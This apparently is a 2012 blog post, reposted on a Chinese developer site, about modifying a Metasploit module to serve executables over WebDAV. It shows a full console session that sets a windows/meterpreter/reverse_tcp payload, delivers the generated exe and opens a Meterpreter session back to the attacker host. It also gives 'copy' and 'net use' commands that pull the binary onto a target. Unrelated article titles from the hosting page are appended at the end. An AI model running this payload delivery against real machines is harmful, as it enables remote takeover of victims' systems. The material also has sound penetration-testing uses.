WebDAV Server to Download Custom Executable or MSF Generated Executables

简介: The current module does not allow you to download exe's, in fact these are specifically blacklisted.
The current module does not allow you to download exe's, in fact these are specifically blacklisted. This makes sense because that's not what the exploit is for.  Anyway, someone asked me if it was  possible to download a file (specifically a pre-generated exe) over WebDAV.  I know an auxiliary module to be a webdav server has been a request for awhile, but it looked like the dll_hijacker module could accomplish it. I added a block of code to the process_get function to handle the exe and then removed .exe from the blacklist.



So if LOCALEXE is set to TRUE then serve up the local exe in the path/filename you specify, if not generate an executable based on the payload options (Yes, I realize AV will essentially make this part useless).

The below is a "show options" with nothing set, default is to generate a EXE payload, if you want to set your own local EXE you need to set LOCALEXE to TRUE.

msf  exploit(webdav_file_server) > show options

Module options (exploit/windows/dev/webdav_file_server):


   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   BASENAME    policy           yes       The base name for the listed files.
   EXTENSIONS  txt              yes       The list of extensions to generate
   LOCALEXE    false            yes       Use a local exe instead of generating one based on payload options
   LOCALFILE   myexe.exe        yes       The filename to serve up
   LOCALROOT   /tmp/            yes       The local file path
   SHARENAME   documents        yes       The name of the top-level share.
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     80               yes       The daemon port to listen on (do not change)
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH     /                yes       The URI to use (do not change).


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(webdav_file_server) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =>  windows/meterpreter/reverse_tcp
msf  exploit(webdav_file_server) > set LHOST 192.168.26.129
LHOST =>  192.168.26.129
smsf  exploit(webdav_file_server) > set LPORT 5555
LPORT =>  5555

msf  exploit(webdav_file_server) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on 192.168.26.129:5555
[*]
[*] Exploit links are now available at \\192.168.26.129\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.26.129:80/
[*] Server started.

msf  exploit(webdav_file_server) > [*] 192.168.26.1:17904 OPTIONS /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17904 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17904 PROPFIND /documents
[*] 192.168.26.1:17904 PROPFIND => 301 (/documents)
[*] 192.168.26.1:17904 PROPFIND /documents/
[*] 192.168.26.1:17904 PROPFIND => 207 Directory (/documents/)
[*] 192.168.26.1:17904 PROPFIND => 207 Top-Level Directory
[*] 192.168.26.1:17904 GET => Delivering Generated EXE Payload

**Manually execute the exe**

[*] Sending stage (752128 bytes) to 192.168.26.1
[*] Meterpreter session 1 opened (192.168.26.129:5555 -> 192.168.26.1:17800) at Thu May 17 23:13:29 -0700 2012

Now if you want to serve a local exe

msf  exploit(webdav_file_server) > jobs -K
Stopping all jobs...

[*] Server stopped.
msf  exploit(webdav_file_server) > set LOCALEXE TRUE
LOCALEXE => TRUE

msf  exploit(webdav_file_server) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.26.129:5555
[*]
[*] Exploit links are now available at \\192.168.26.129\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.26.129:80/
[*] Server started.


msf  exploit(webdav_file_server) > [*] 192.168.26.1:17870 OPTIONS /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17870 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17870 PROPFIND /documents
[*] 192.168.26.1:17870 PROPFIND => 301 (/documents)
[*] 192.168.26.1:17870 PROPFIND /documents/
[*] 192.168.26.1:17870 PROPFIND => 207 Directory (/documents/)
[*] 192.168.26.1:17870 PROPFIND => 207 Top-Level Directory
[*] 192.168.26.1:17870 GET => Delivering Local EXE Payload [ /tmp/myexe.exe ]

I've tested this on windows 7 and windows XP and I've been told this works with IE7 and below but not IE8. I've just been executing it on the command line.

Usage*:

copy \\ip\documents\myexe.exe myexe.exe

You may have to net use first

net use \\ip\documents\ /User:Guest

You'll see windows attempt the request of SMB, fail, then switch to doing the WebDAV thing.

Once the bin is on the box you can exec the bin manually.

*there are a couple of other ways to run this, the guy that asked me to help with all this will have a post on it soon.

code is HERE in the github repo, be gentle i dont usually do exploit code...

-CG
目录
相关文章
|
SQL 存储 关系型数据库
OceanBase数据库常见问题之部署报错hashtable not init如何解决
OceanBase 是一款由阿里巴巴集团研发的企业级分布式关系型数据库,它具有高可用、高性能、可水平扩展等特点。以下是OceanBase 数据库使用过程中可能遇到的一些常见问题及其解答的汇总,以帮助用户更好地理解和使用这款数据库产品。
|
存储 SQL 关系型数据库
MySQL - 深入理解锁机制和实战场景
MySQL - 深入理解锁机制和实战场景
489 0
|
安全 程序员 Linux
删库跑路?掌握rm命令的技巧,高效删除文件和目录!
删库跑路?掌握rm命令的技巧,高效删除文件和目录!
1388 0
|
JSON API 开发者
虾皮(Shopee)获取商品详情信息接口技术贴详解
虾皮(Shopee)为东南亚领先电商平台,提供丰富的API服务,便于第三方应用集成并获取商品数据。本文介绍如何利用Python调用商品详情接口获取指定商品信息,包括构建请求URL、发送HTTP请求及处理JSON响应数据。开发者需先注册获取API凭证,再调用接口并解析返回的商品详情。注意遵循接口调用限制,确保数据准确性和应用稳定性。
581 0
|
人工智能 UED
“视觉AI任意门”AnyDoor,只需点两下鼠标就可以实现任意场景物体交换
【2月更文挑战第17天】“视觉AI任意门”AnyDoor,只需点两下鼠标就可以实现任意场景物体交换
768 1
“视觉AI任意门”AnyDoor,只需点两下鼠标就可以实现任意场景物体交换
|
运维 测试技术 Python
性能测试实战 | 修改 JMeter 源码,定制化聚合压测报告
性能和压力测试是每一个互联网应用程序上线之前都必须检验的测试项目。JMeter 作为目前互联网大厂最流行、最强大的性能测试工具,已经成为测试人员行走江湖的必备利器。 相比传统的压力测试工具(如 LoadRunner),JMeter 最显著的特点就是开源、轻量级、易于维护、便于扩展。 面对变化多端的业务情况,测试开发人员可以基于 JMeter 源码修改和二次开发,快速实现定制化功能,更好的满足业务
|
存储 弹性计算 监控
【数据传输服务用户测评】阿里云DTS和MongoShake的性能对比
本文聚焦DTS MongoDB->MongoDB 和 MongoShake 数据同步的性能,分别针对副本集/分片集群架构、单表/多表、全量/增量同步进行性能的对比。
86835 9
|
JavaScript 小程序
【经验分享】 自定义picker组件,拿走即用。
【经验分享】 自定义picker组件,拿走即用。
723 6
微信小游戏制作工具中文字设置的粗体不显示,怎么解决?
微信小游戏制作工具中文字设置的粗体不显示,怎么解决?
644 1
|
安全 网络安全 API
163邮箱imap服务器怎么填写
163邮箱imap服务器怎么填写

热门文章

最新文章